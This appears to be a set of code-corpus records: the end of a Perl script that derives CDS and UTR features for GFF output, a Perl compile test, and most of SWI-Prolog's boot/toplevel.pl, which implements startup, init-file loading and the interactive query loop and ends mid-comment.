codon is ", join("\t", @{$stop_codon}), "\n") if $debug; warn("cds[-] (stop) before to ", $cds[0]->[3], "..",$cds[0]->[4],"\n") if $debug; $cds[-1]->[3] = $stop_codon->[3]; warn("cds[-] $mrna_id (stop) updated to ", $cds[0]->[3], "..",$cds[0]->[4],"\n") if $debug; $translation_stop = $stop_codon->[3]; } else { warn("no CDS to update stop codon for $mrna_id $gene_id\n"); } } } else { $translation_stop = ($strand_val > 0) ? $cds[-1]->[4] : $cds[-1]->[3]; } if( $start_codon ) { if( $strand_val > 0 ) { warn("start codon is ", join("\t", @{$start_codon}), "\n") if $debug; $cds[0]->[3] = $start_codon->[3]; warn("cds (start) updated to ", $cds[0]->[3], "..",$cds[0]->[4],"\n") if $debug; $translation_start = $start_codon->[3]; } else { if( @cds ) { warn("start codon is ", join("\t", @{$start_codon}), "\n") if $debug; warn("cds[-] (start) before to ", $cds[-1]->[3],"..",$cds[-1]->[4],"\n") if $debug; $cds[0]->[4] = $start_codon->[4]; warn("cds[-] (start) updated to ", $cds[-1]->[3],"..",$cds[-1]->[4],"\n") if $debug; $translation_start = $start_codon->[4]; } else { warn("no CDS to update start codon for $mrna_id $gene_id\n"); } } } else { $translation_start = ($strand_val > 0) ? $cds[0]->[3] : $cds[0]->[4]; } if ( $debug) { warn("CDS order is after :\n"); for my $c ( @cds ) { warn(join("\t", @$c), "\n"); } } for my $cds_i ( @cds ) { my $exon_ninth = sprintf("ID=cds%06d;Parent=%s", $counts{'CDS'}++, $mrna_id); if ( $proteinid ) { $proteinid = sprintf('"%s"',$proteinid) if $proteinid =~ /[;\s,]/; $exon_ninth .= sprintf(";Name=%s",$proteinid); } $cds_i = [$cds_i->[3], join("\t", @$cds_i, $exon_ninth)]; } if ( $debug) { warn("CDS order after ninth column is :\n"); for my $c ( @cds ) { warn(join("\t", @$c), "\n"); } } # making some utrs my %utrs; for my $exon ( sort { $a->[3] * $strand_val <=> $b->[3] * $strand_val } @exons ) { # how many levels deep can you think? ... if ( defined $translation_start && defined $translation_stop ) { if ( $strand_val > 0 ) { # 5' UTR on +1 strand if ( $translation_start > $exon->[3] ) { if ( $translation_start > $exon->[4] ) { # whole exon is a UTR so push it all on push @{$utrs{'5utr'}}, [ $exon->[3], join("\t", ( $exon->[0], $exon->[1], 'five_prime_utr', $exon->[3], $exon->[4], '.', $strand, '.', sprintf("ID=utr5%06d;Parent=%s", $counts{'5utr'}++, $mrna_id)))]; } else { # push the partial exon up to the start codon push @{$utrs{'5utr'}}, [ $exon->[3], join("\t", $exon->[0], $exon->[1], 'five_prime_utr', $exon->[3], $translation_start - 1, '.', $strand, '.', sprintf("ID=utr5%06d;Parent=%s", $counts{'5utr'}++, $mrna_id) )]; } } #3' UTR on +1 strand if ( $translation_stop < $exon->[4] ) { warn("stop is $translation_stop and exon end is ", $exon->[4],"\n") if $debug; if ( $translation_stop < $exon->[3] ) { warn("whole exon is UTR for $translation_stop is < ", $exon->[3],"\n") if $debug; # whole exon is 3' UTR push @{$utrs{'3utr'}}, [ $exon->[3], join("\t", ( $exon->[0], $exon->[1], 'three_prime_utr', $exon->[3], $exon->[4], '.', $strand, '.', sprintf("ID=utr3%06d;Parent=%s", $counts{'3utr'}++, $mrna_id)))]; } else { warn("making a partial 3' UTR from $translation_stop -> ",$exon->[4],"\n") if $debug; # make UTR from partial exon push @{$utrs{'3utr'}}, [ $exon->[3] * $strand_val, join("\t", ( $exon->[0], $exon->[1], 'three_prime_utr', $translation_stop +1, $exon->[4], '.', $strand, '.', sprintf("ID=utr3%06d;Parent=%s", $counts{'3utr'}++, $mrna_id)))]; } } } else { # 5' UTR on -1 strand if ( $translation_start < $exon->[4] ) { if ( $translation_start < $exon->[3] ) { # whole exon is UTR push @{$utrs{'5utr'}}, [ $exon->[3], join("\t", $exon->[0], $exon->[1], 'five_prime_utr', $exon->[3], $exon->[4], '.', $strand, '.', sprintf("ID=utr5%06d;Parent=%s", $counts{'5utr'}++, $mrna_id)) ]; } else { # push on part of exon up to the start codon push @{$utrs{'5utr'}}, [ $exon->[3], join("\t",$exon->[0], $exon->[1], 'five_prime_utr', $translation_start + 1, $exon->[4], '.', $strand, '.', sprintf("ID=utr5%06d;Parent=%s", $counts{'5utr'}++, $mrna_id))]; } } #3' UTR on -1 strand if ( $translation_stop > $exon->[3] ) { if ( $translation_stop > $exon->[4] ) { # whole exon is 3' UTR push @{$utrs{'3utr'}}, [ $exon->[3], join("\t", ( $exon->[0], $exon->[1], 'three_prime_utr', $exon->[3], $exon->[4], '.', $strand, '.', sprintf("ID=utr3%06d;Parent=%s", $counts{'3utr'}++, $mrna_id)))]; } else { # make UTR from partial exon push @{$utrs{'3utr'}}, [ $exon->[3], join("\t", ( $exon->[0], $exon->[1], 'three_prime_utr', $exon->[3], $translation_stop -1, '.', $strand, '.', sprintf("ID=utr3%06d;Parent=%s", $counts{'3utr'}++, $mrna_id)))]; } } } } $exon = [$exon->[3], join("\t", @$exon, sprintf("ID=exon%06d;Parent=%s", $counts{'exon'}++, $mrna_id))]; } if( $strand_val > 0 ) { if( exists $utrs{'5utr'} ) { print join("\n", map { $_->[1] } sort { $a->[0] <=> $b->[0] } @{$utrs{'5utr'}}), "\n"; } } else { if( exists $utrs{'3utr'} ) { print join("\n", map { $_->[1] } sort { $a->[0] <=> $b->[0] } @{$utrs{'3utr'}}), "\n"; } } print join("\n", ( map { $_->[1] } sort { $a->[0] <=> $b->[0] } (@exons, @cds))), "\n"; if( $strand_val > 0 ) { if( exists $utrs{'3utr'} ) { print join("\n", map { $_->[1] } sort { $a->[0] <=> $b->[0] } @{$utrs{'3utr'}}), "\n"; } } else { if( exists $utrs{'5utr'} ) { print join("\n", map { $_->[1] } sort { $a->[0] <=> $b->[0] } @{$utrs{'5utr'}}), "\n"; } } } }
28.752495
122
0.479903
73fb5a0f9370483127db23350c5baadf0b56b3f7
63
t
Perl
t/00_compile.t
typester/nim
8df91a9b8df700703ee05194578f61795230da9c
[ "Artistic-1.0-cl8" ]
1
2016-05-08T22:31:37.000Z
2016-05-08T22:31:37.000Z
t/00_compile.t
typester/nim
8df91a9b8df700703ee05194578f61795230da9c
[ "Artistic-1.0-cl8" ]
null
null
null
t/00_compile.t
typester/nim
8df91a9b8df700703ee05194578f61795230da9c
[ "Artistic-1.0-cl8" ]
null
null
null
use strict; use Test::More tests => 1; BEGIN { use_ok 'Nim' }
12.6
26
0.634921
ed28026a7271a69a3ba2addf8b71732971c5489f
46,631
pl
Perl
boot/toplevel.pl
cmsmcq/swipl-devel
7e67633ed0db6e0aecc797966f1f1fe81fcee957
[ "BSD-2-Clause" ]
null
null
null
boot/toplevel.pl
cmsmcq/swipl-devel
7e67633ed0db6e0aecc797966f1f1fe81fcee957
[ "BSD-2-Clause" ]
null
null
null
boot/toplevel.pl
cmsmcq/swipl-devel
7e67633ed0db6e0aecc797966f1f1fe81fcee957
[ "BSD-2-Clause" ]
null
null
null
/* Part of SWI-Prolog Author: Jan Wielemaker E-mail: J.Wielemaker@vu.nl WWW: http://www.swi-prolog.org Copyright (c) 1985-2017, University of Amsterdam VU University Amsterdam All rights reserved. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: 1. Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. 2. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. */ :- module('$toplevel', [ '$initialise'/0, % start Prolog '$toplevel'/0, % Prolog top-level (re-entrant) '$compile'/0, % `-c' toplevel '$config'/0, % --dump-runtime-variables toplevel initialize/0, % Run program initialization version/0, % Write initial banner version/1, % Add message to the banner prolog/0, % user toplevel predicate '$query_loop'/0, % toplevel predicate '$execute_query'/3, % +Query, +Bindings, -Truth residual_goals/1, % +Callable (initialization)/1, % initialization goal (directive) '$thread_init'/0, % initialise thread (thread_initialization)/1 % thread initialization goal ]). /******************************* * VERSION BANNER * *******************************/ :- dynamic prolog:version_msg/1. %! version is det. % % Print the Prolog banner message and messages registered using % version/1. version :- print_message(banner, welcome). %! version(+Message) is det. % % Add message to version/0 :- multifile system:term_expansion/2. system:term_expansion((:- version(Message)), prolog:version_msg(Message)). version(Message) :- ( prolog:version_msg(Message) -> true ; assertz(prolog:version_msg(Message)) ). /******************************** * INITIALISATION * *********************************/ % note: loaded_init_file/2 is used by prolog_load_context/2 to % confirm we are loading a script. :- dynamic loaded_init_file/2. % already loaded init files '$load_init_file'(none) :- !. '$load_init_file'(Base) :- loaded_init_file(Base, _), !. '$load_init_file'(InitFile) :- exists_file(InitFile), !, ensure_loaded(user:InitFile). '$load_init_file'(Base) :- absolute_file_name(user_app_config(Base), InitFile, [ access(read), file_errors(fail) ]), asserta(loaded_init_file(Base, InitFile)), load_files(user:InitFile, [ scope_settings(false) ]). '$load_init_file'('init.pl') :- ( current_prolog_flag(windows, true), absolute_file_name(user_profile('swipl.ini'), InitFile, [ access(read), file_errors(fail) ]) ; expand_file_name('~/.swiplrc', [InitFile]), exists_file(InitFile) ), !, print_message(warning, backcomp(init_file_moved(InitFile))). '$load_init_file'(_). '$load_system_init_file' :- loaded_init_file(system, _), !. '$load_system_init_file' :- '$cmd_option_val'(system_init_file, Base), Base \== none, current_prolog_flag(home, Home), file_name_extension(Base, rc, Name), atomic_list_concat([Home, '/', Name], File), absolute_file_name(File, Path, [ file_type(prolog), access(read), file_errors(fail) ]), asserta(loaded_init_file(system, Path)), load_files(user:Path, [ silent(true), scope_settings(false) ]), !. '$load_system_init_file'. '$load_script_file' :- loaded_init_file(script, _), !. '$load_script_file' :- '$cmd_option_val'(script_file, OsFiles), load_script_files(OsFiles). load_script_files([]). load_script_files([OsFile|More]) :- prolog_to_os_filename(File, OsFile), ( absolute_file_name(File, Path, [ file_type(prolog), access(read), file_errors(fail) ]) -> asserta(loaded_init_file(script, Path)), load_files(user:Path, []), load_files(More) ; throw(error(existence_error(script_file, File), _)) ). /******************************* * AT_INITIALISATION * *******************************/ :- meta_predicate initialization(0). :- '$iso'((initialization)/1). %! initialization(:Goal) % % Runs Goal after loading the file in which this directive % appears as well as after restoring a saved state. % % @see initialization/2 initialization(Goal) :- Goal = _:G, prolog:initialize_now(G, Use), !, print_message(warning, initialize_now(G, Use)), initialization(Goal, now). initialization(Goal) :- initialization(Goal, after_load). :- multifile prolog:initialize_now/2, prolog:message//1. prolog:initialize_now(load_foreign_library(_), 'use :- use_foreign_library/1 instead'). prolog:initialize_now(load_foreign_library(_,_), 'use :- use_foreign_library/2 instead'). prolog:message(initialize_now(Goal, Use)) --> [ 'Initialization goal ~p will be executed'-[Goal],nl, 'immediately for backward compatibility reasons', nl, '~w'-[Use] ]. '$run_initialization' :- '$run_initialization'(_, []), '$thread_init'. %! initialize % % Run goals registered with `:- initialization(Goal, program).`. Stop % with an exception if a goal fails or raises an exception. initialize :- forall('$init_goal'(when(program), Goal, Ctx), run_initialize(Goal, Ctx)). run_initialize(Goal, Ctx) :- ( catch(Goal, E, true), ( var(E) -> true ; throw(error(initialization_error(E, Goal, Ctx), _)) ) ; throw(error(initialization_error(failed, Goal, Ctx), _)) ). /******************************* * THREAD INITIALIZATION * *******************************/ :- meta_predicate thread_initialization(0). :- dynamic '$at_thread_initialization'/1. %! thread_initialization(:Goal) % % Run Goal now and everytime a new thread is created. thread_initialization(Goal) :- assert('$at_thread_initialization'(Goal)), call(Goal), !. '$thread_init' :- ( '$at_thread_initialization'(Goal), ( call(Goal) -> fail ; fail ) ; true ). /******************************* * FILE SEARCH PATH (-p) * *******************************/ %! '$set_file_search_paths' is det. % % Process -p PathSpec options. '$set_file_search_paths' :- '$cmd_option_val'(search_paths, Paths), ( '$member'(Path, Paths), atom_chars(Path, Chars), ( phrase('$search_path'(Name, Aliases), Chars) -> '$reverse'(Aliases, Aliases1), forall('$member'(Alias, Aliases1), asserta(user:file_search_path(Name, Alias))) ; print_message(error, commandline_arg_type(p, Path)) ), fail ; true ). '$search_path'(Name, Aliases) --> '$string'(NameChars), [=], !, {atom_chars(Name, NameChars)}, '$search_aliases'(Aliases). '$search_aliases'([Alias|More]) --> '$string'(AliasChars), path_sep, !, { '$make_alias'(AliasChars, Alias) }, '$search_aliases'(More). '$search_aliases'([Alias]) --> '$string'(AliasChars), '$eos', !, { '$make_alias'(AliasChars, Alias) }. path_sep --> { current_prolog_flag(windows, true) }, !, [;]. path_sep --> [:]. '$string'([]) --> []. '$string'([H|T]) --> [H], '$string'(T). '$eos'([], []). '$make_alias'(Chars, Alias) :- catch(term_to_atom(Alias, Chars), _, fail), ( atom(Alias) ; functor(Alias, F, 1), F \== / ), !. '$make_alias'(Chars, Alias) :- atom_chars(Alias, Chars). /******************************* * LOADING ASSIOCIATED FILES * *******************************/ %! argv_files(-Files) is det. % % Update the Prolog flag `argv`, extracting the leading script files. argv_files(Files) :- current_prolog_flag(argv, Argv), no_option_files(Argv, Argv1, Files, ScriptArgs), ( ( ScriptArgs == true ; Argv1 == [] ) -> ( Argv1 \== Argv -> set_prolog_flag(argv, Argv1) ; true ) ; '$usage', halt(1) ). no_option_files([--|Argv], Argv, [], true) :- !. no_option_files([Opt|_], _, _, ScriptArgs) :- ScriptArgs \== true, sub_atom(Opt, 0, _, _, '-'), !, '$usage', halt(1). no_option_files([OsFile|Argv0], Argv, [File|T], ScriptArgs) :- file_name_extension(_, Ext, OsFile), user:prolog_file_type(Ext, prolog), !, ScriptArgs = true, prolog_to_os_filename(File, OsFile), no_option_files(Argv0, Argv, T, ScriptArgs). no_option_files([OsScript|Argv], Argv, [Script], ScriptArgs) :- ScriptArgs \== true, !, prolog_to_os_filename(Script, OsScript), ( exists_file(Script) -> true ; '$existence_error'(file, Script) ), ScriptArgs = true. no_option_files(Argv, Argv, [], _). clean_argv :- ( current_prolog_flag(argv, [--|Argv]) -> set_prolog_flag(argv, Argv) ; true ). %! associated_files(-Files) % % If SWI-Prolog is started as <exe> <file>.<ext>, where <ext> is % the extension registered for associated files, set the Prolog % flag associated_file, switch to the directory holding the file % and -if possible- adjust the window title. associated_files([]) :- current_prolog_flag(saved_program_class, runtime), !, clean_argv. associated_files(Files) :- '$set_prolog_file_extension', argv_files(Files), ( Files = [File|_] -> absolute_file_name(File, AbsFile), set_prolog_flag(associated_file, AbsFile), set_working_directory(File), set_window_title(Files) ; true ). %! set_working_directory(+File) % % When opening as a GUI application, e.g., by opening a file from % the Finder/Explorer/..., we typically want to change working % directory to the location of the primary file. We currently % detect that we are a GUI app by the Prolog flag =console_menu=, % which is set by swipl-win[.exe]. set_working_directory(File) :- current_prolog_flag(console_menu, true), access_file(File, read), !, file_directory_name(File, Dir), working_directory(_, Dir). set_working_directory(_). set_window_title([File|More]) :- current_predicate(system:window_title/2), !, ( More == [] -> Extra = [] ; Extra = ['...'] ), atomic_list_concat(['SWI-Prolog --', File | Extra], ' ', Title), system:window_title(_, Title). set_window_title(_). %! start_pldoc % % If the option =|--pldoc[=port]|= is given, load the PlDoc % system. start_pldoc :- '$cmd_option_val'(pldoc_server, Server), ( Server == '' -> call((doc_server(_), doc_browser)) ; catch(atom_number(Server, Port), _, fail) -> call(doc_server(Port)) ; print_message(error, option_usage(pldoc)), halt(1) ). start_pldoc. %! load_associated_files(+Files) % % Load Prolog files specified from the commandline. load_associated_files(Files) :- ( '$member'(File, Files), load_files(user:File, [expand(false)]), fail ; true ). hkey('HKEY_CURRENT_USER/Software/SWI/Prolog'). hkey('HKEY_LOCAL_MACHINE/Software/SWI/Prolog'). '$set_prolog_file_extension' :- current_prolog_flag(windows, true), hkey(Key), catch(win_registry_get_value(Key, fileExtension, Ext0), _, fail), !, ( atom_concat('.', Ext, Ext0) -> true ; Ext = Ext0 ), ( user:prolog_file_type(Ext, prolog) -> true ; asserta(user:prolog_file_type(Ext, prolog)) ). '$set_prolog_file_extension'. /******************************** * TOPLEVEL GOALS * *********************************/ %! '$initialise' is semidet. % % Called from PL_initialise() to do the Prolog part of the % initialization. If an exception occurs, this is printed and % '$initialise' fails. '$initialise' :- catch(initialise_prolog, E, initialise_error(E)). initialise_error('$aborted') :- !. initialise_error(E) :- print_message(error, initialization_exception(E)), fail. initialise_prolog :- '$clean_history', '$run_initialization', '$load_system_init_file', set_toplevel, '$set_file_search_paths', init_debug_flags, start_pldoc, attach_packs, '$cmd_option_val'(init_file, OsFile), prolog_to_os_filename(File, OsFile), '$load_init_file'(File), catch(setup_colors, E, print_message(warning, E)), '$load_script_file', associated_files(Files), load_associated_files(Files), '$cmd_option_val'(goals, Goals), ( Goals == [], \+ '$init_goal'(when(_), _, _) -> version % default interactive run ; run_init_goals(Goals), ( load_only -> version ; run_program_init, run_main_init ) ). set_toplevel :- '$cmd_option_val'(toplevel, TopLevelAtom), catch(term_to_atom(TopLevel, TopLevelAtom), E, (print_message(error, E), halt(1))), create_prolog_flag(toplevel_goal, TopLevel, [type(term)]). load_only :- current_prolog_flag(os_argv, OSArgv), memberchk('-l', OSArgv), current_prolog_flag(argv, Argv), \+ memberchk('-l', Argv). %! run_init_goals(+Goals) is det. % % Run registered initialization goals on order. If a goal fails, % execution is halted. run_init_goals([]). run_init_goals([H|T]) :- run_init_goal(H), run_init_goals(T). run_init_goal(Text) :- catch(term_to_atom(Goal, Text), E, ( print_message(error, init_goal_syntax(E, Text)), halt(2) )), run_init_goal(Goal, Text). %! run_program_init is det. % % Run goals registered using run_program_init :- forall('$init_goal'(when(program), Goal, Ctx), run_init_goal(Goal, @(Goal,Ctx))). run_main_init :- findall(Goal-Ctx, '$init_goal'(when(main), Goal, Ctx), Pairs), '$last'(Pairs, Goal-Ctx), !, ( current_prolog_flag(toplevel_goal, default) -> set_prolog_flag(toplevel_goal, halt) ; true ), run_init_goal(Goal, @(Goal,Ctx)). run_main_init. run_init_goal(Goal, Ctx) :- ( catch_with_backtrace(user:Goal, E, true) -> ( var(E) -> true ; print_message(error, init_goal_failed(E, Ctx)), halt(2) ) ; ( current_prolog_flag(verbose, silent) -> Level = silent ; Level = error ), print_message(Level, init_goal_failed(failed, Ctx)), halt(1) ). %! init_debug_flags is det. % % Initialize the various Prolog flags that control the debugger and % toplevel. init_debug_flags :- once(print_predicate(_, [print], PrintOptions)), create_prolog_flag(answer_write_options, PrintOptions, []), create_prolog_flag(prompt_alternatives_on, determinism, []), create_prolog_flag(toplevel_extra_white_line, true, []), create_prolog_flag(toplevel_print_factorized, false, []), create_prolog_flag(print_write_options, [ portray(true), quoted(true), numbervars(true) ], []), create_prolog_flag(toplevel_residue_vars, false, []), create_prolog_flag(toplevel_list_wfs_residual_program, true, []), '$set_debugger_write_options'(print). %! setup_backtrace % % Initialise printing a backtrace. setup_backtrace :- ( \+ current_prolog_flag(backtrace, false), load_setup_file(library(prolog_stack)) -> true ; true ). %! setup_colors is det. % % Setup interactive usage by enabling colored output. setup_colors :- ( \+ current_prolog_flag(color_term, false), stream_property(user_input, tty(true)), stream_property(user_error, tty(true)), stream_property(user_output, tty(true)), \+ getenv('TERM', dumb), load_setup_file(user:library(ansi_term)) -> true ; true ). %! setup_history % % Enable per-directory persistent history. setup_history :- ( \+ current_prolog_flag(save_history, false), stream_property(user_input, tty(true)), \+ current_prolog_flag(readline, false), load_setup_file(library(prolog_history)) -> prolog_history(enable) ; true ), set_default_history, '$load_history'. %! setup_readline % % Setup line editing. setup_readline :- ( current_prolog_flag(readline, swipl_win) -> true ; stream_property(user_input, tty(true)), current_prolog_flag(tty_control, true), \+ getenv('TERM', dumb), ( current_prolog_flag(readline, ReadLine) -> true ; ReadLine = true ), readline_library(ReadLine, Library), load_setup_file(library(Library)) -> set_prolog_flag(readline, Library) ; set_prolog_flag(readline, false) ). readline_library(true, Library) :- !, preferred_readline(Library). readline_library(false, _) :- !, fail. readline_library(Library, Library). preferred_readline(editline). preferred_readline(readline). %! load_setup_file(+File) is semidet. % % Load a file and fail silently if the file does not exist. load_setup_file(File) :- catch(load_files(File, [ silent(true), if(not_loaded) ]), _, fail). :- '$hide'('$toplevel'/0). % avoid in the GUI stacktrace %! '$toplevel' % % Called from PL_toplevel() '$toplevel' :- '$runtoplevel', print_message(informational, halt). %! '$runtoplevel' % % Actually run the toplevel. The values `default` and `prolog` both % start the interactive toplevel, where `prolog` implies the user gave % =|-t prolog|=. % % @see prolog/0 is the default interactive toplevel '$runtoplevel' :- current_prolog_flag(toplevel_goal, TopLevel0), toplevel_goal(TopLevel0, TopLevel), user:TopLevel. :- dynamic setup_done/0. :- volatile setup_done/0. toplevel_goal(default, '$query_loop') :- !, setup_interactive. toplevel_goal(prolog, '$query_loop') :- !, setup_interactive. toplevel_goal(Goal, Goal). setup_interactive :- setup_done, !. setup_interactive :- asserta(setup_done), catch(setup_backtrace, E, print_message(warning, E)), catch(setup_readline, E, print_message(warning, E)), catch(setup_history, E, print_message(warning, E)). %! '$compile' % % Toplevel called when invoked with -c option. '$compile' :- ( catch('$compile_', E, (print_message(error, E), halt(1))) -> true ; print_message(error, error(goal_failed('$compile'), _)), halt(1) ). '$compile_' :- '$load_system_init_file', '$set_file_search_paths', init_debug_flags, '$run_initialization', attach_packs, use_module(library(qsave)), qsave:qsave_toplevel. %! '$config' % % Toplevel when invoked with --dump-runtime-variables '$config' :- '$load_system_init_file', '$set_file_search_paths', init_debug_flags, '$run_initialization', load_files(library(prolog_config)), ( catch(prolog_dump_runtime_variables, E, (print_message(error, E), halt(1))) -> true ; print_message(error, error(goal_failed(prolog_dump_runtime_variables),_)) ). /******************************** * USER INTERACTIVE LOOP * *********************************/ %! prolog % % Run the Prolog toplevel. This is now the same as break/0, which % pretends to be in a break-level if there is a parent % environment. prolog :- break. :- create_prolog_flag(toplevel_mode, backtracking, []). %! '$query_loop' % % Run the normal Prolog query loop. Note that the query is not % protected by catch/3. Dealing with unhandled exceptions is done % by the C-function query_loop(). This ensures that unhandled % exceptions are really unhandled (in Prolog). '$query_loop' :- current_prolog_flag(toplevel_mode, recursive), !, break_level(Level), read_expanded_query(Level, Query, Bindings), ( Query == end_of_file -> print_message(query, query(eof)) ; '$call_no_catch'('$execute_query'(Query, Bindings, _)), ( current_prolog_flag(toplevel_mode, recursive) -> '$query_loop' ; '$switch_toplevel_mode'(backtracking), '$query_loop' % Maybe throw('$switch_toplevel_mode')? ) ). '$query_loop' :- break_level(BreakLev), repeat, read_expanded_query(BreakLev, Query, Bindings), ( Query == end_of_file -> !, print_message(query, query(eof)) ; '$execute_query'(Query, Bindings, _), ( current_prolog_flag(toplevel_mode, recursive) -> !, '$switch_toplevel_mode'(recursive), '$query_loop' ; fail ) ). break_level(BreakLev) :- ( current_prolog_flag(break_level, BreakLev) -> true ; BreakLev = -1 ). read_expanded_query(BreakLev, ExpandedQuery, ExpandedBindings) :- '$current_typein_module'(TypeIn), ( stream_property(user_input, tty(true)) -> '$system_prompt'(TypeIn, BreakLev, Prompt), prompt(Old, '| ') ; Prompt = '', prompt(Old, '') ), trim_stacks, repeat, read_query(Prompt, Query, Bindings), prompt(_, Old), catch(call_expand_query(Query, ExpandedQuery, Bindings, ExpandedBindings), Error, (print_message(error, Error), fail)), !. %! read_query(+Prompt, -Goal, -Bindings) is det. % % Read the next query. The first clause deals with the case where % !-based history is enabled. The second is used if we have command % line editing. read_query(Prompt, Goal, Bindings) :- current_prolog_flag(history, N), integer(N), N > 0, !, read_history(h, '!h', [trace, end_of_file], Prompt, Goal, Bindings). read_query(Prompt, Goal, Bindings) :- remove_history_prompt(Prompt, Prompt1), repeat, % over syntax errors prompt1(Prompt1), read_query_line(user_input, Line), '$save_history_line'(Line), % save raw line (edit syntax errors) '$current_typein_module'(TypeIn), catch(read_term_from_atom(Line, Goal, [ variable_names(Bindings), module(TypeIn) ]), E, ( print_message(error, E), fail )), !, '$save_history_event'(Line). % save event (no syntax errors) %! read_query_line(+Input, -Line) is det. read_query_line(Input, Line) :- catch(read_term_as_atom(Input, Line), Error, true), save_debug_after_read, ( var(Error) -> true ; Error = error(syntax_error(_),_) -> print_message(error, Error), fail ; print_message(error, Error), throw(Error) ). %! read_term_as_atom(+Input, -Line) % % Read the next term as an atom and skip to the newline or a % non-space character. read_term_as_atom(In, Line) :- '$raw_read'(In, Line), ( Line == end_of_file -> true ; skip_to_nl(In) ). %! skip_to_nl(+Input) is det. % % Read input after the term. Skips white space and %... comment % until the end of the line or a non-blank character. skip_to_nl(In) :- repeat, peek_char(In, C), ( C == '%' -> skip(In, '\n') ; char_type(C, space) -> get_char(In, _), C == '\n' ; true ), !. remove_history_prompt('', '') :- !. remove_history_prompt(Prompt0, Prompt) :- atom_chars(Prompt0, Chars0), clean_history_prompt_chars(Chars0, Chars1), delete_leading_blanks(Chars1, Chars), atom_chars(Prompt, Chars). clean_history_prompt_chars([], []). clean_history_prompt_chars(['~', !|T], T) :- !. clean_history_prompt_chars([H|T0], [H|T]) :- clean_history_prompt_chars(T0, T). delete_leading_blanks([' '|T0], T) :- !, delete_leading_blanks(T0, T). delete_leading_blanks(L, L). %! set_default_history % % Enable !-based numbered command history. This is enabled by default % if we are not running under GNU-emacs and we do not have our own % line editing. set_default_history :- current_prolog_flag(history, _), !. set_default_history :- ( ( \+ current_prolog_flag(readline, false) ; current_prolog_flag(emacs_inferior_process, true) ) -> create_prolog_flag(history, 0, []) ; create_prolog_flag(history, 25, []) ). /******************************* * TOPLEVEL DEBUG * *******************************/ %! save_debug_after_read % % Called right after the toplevel read to save the debug status if % it was modified from the GUI thread using e.g. % % == % thread_signal(main, gdebug) % == % % @bug Ideally, the prompt would change if debug mode is enabled. % That is hard to realise with all the different console % interfaces supported by SWI-Prolog. save_debug_after_read :- current_prolog_flag(debug, true), !, save_debug. save_debug_after_read. save_debug :- ( tracing, notrace -> Tracing = true ; Tracing = false ), current_prolog_flag(debug, Debugging), set_prolog_flag(debug, false), create_prolog_flag(query_debug_settings, debug(Debugging, Tracing), []). restore_debug :- current_prolog_flag(query_debug_settings, debug(Debugging, Tracing)), set_prolog_flag(debug, Debugging), ( Tracing == true -> trace ; true ). :- initialization create_prolog_flag(query_debug_settings, debug(false, false), []). /******************************** * PROMPTING * ********************************/ '$system_prompt'(Module, BrekLev, Prompt) :- current_prolog_flag(toplevel_prompt, PAtom), atom_codes(PAtom, P0), ( Module \== user -> '$substitute'('~m', [Module, ': '], P0, P1) ; '$substitute'('~m', [], P0, P1) ), ( BrekLev > 0 -> '$substitute'('~l', ['[', BrekLev, '] '], P1, P2) ; '$substitute'('~l', [], P1, P2) ), current_prolog_flag(query_debug_settings, debug(Debugging, Tracing)), ( Tracing == true -> '$substitute'('~d', ['[trace] '], P2, P3) ; Debugging == true -> '$substitute'('~d', ['[debug] '], P2, P3) ; '$substitute'('~d', [], P2, P3) ), atom_chars(Prompt, P3). '$substitute'(From, T, Old, New) :- atom_codes(From, FromCodes), phrase(subst_chars(T), T0), '$append'(Pre, S0, Old), '$append'(FromCodes, Post, S0) -> '$append'(Pre, T0, S1), '$append'(S1, Post, New), !. '$substitute'(_, _, Old, Old). subst_chars([]) --> []. subst_chars([H|T]) --> { atomic(H), !, atom_codes(H, Codes) }, Codes, subst_chars(T). subst_chars([H|T]) --> H, subst_chars(T). /******************************** * EXECUTION * ********************************/ %! '$execute_query'(Goal, Bindings, -Truth) is det. % % Execute Goal using Bindings. '$execute_query'(Var, _, true) :- var(Var), !, print_message(informational, var_query(Var)). '$execute_query'(Goal, Bindings, Truth) :- '$current_typein_module'(TypeIn), '$dwim_correct_goal'(TypeIn:Goal, Bindings, Corrected), !, setup_call_cleanup( '$set_source_module'(M0, TypeIn), expand_goal(Corrected, Expanded), '$set_source_module'(M0)), print_message(silent, toplevel_goal(Expanded, Bindings)), '$execute_goal2'(Expanded, Bindings, Truth). '$execute_query'(_, _, false) :- notrace, print_message(query, query(no)). '$execute_goal2'(Goal, Bindings, true) :- restore_debug, '$current_typein_module'(TypeIn), residue_vars(Goal, Vars, TypeIn:Delays), deterministic(Det), ( save_debug ; restore_debug, fail ), flush_output(user_output), call_expand_answer(Bindings, NewBindings), ( \+ \+ write_bindings(NewBindings, Vars, Delays, Det) -> ! ). '$execute_goal2'(_, _, false) :- save_debug, print_message(query, query(no)). residue_vars(Goal, Vars, Delays) :- current_prolog_flag(toplevel_residue_vars, true), !, '$wfs_call'(call_residue_vars(stop_backtrace(Goal), Vars), Delays). residue_vars(Goal, [], Delays) :- '$wfs_call'(stop_backtrace(Goal), Delays). stop_backtrace(Goal) :- toplevel_call(Goal), no_lco. toplevel_call(Goal) :- call(Goal), no_lco. no_lco. %! write_bindings(+Bindings, +ResidueVars, +Delays +Deterministic) %! is semidet. % % Write bindings resulting from a query. The flag % prompt_alternatives_on determines whether the user is prompted % for alternatives. =groundness= gives the classical behaviour, % =determinism= is considered more 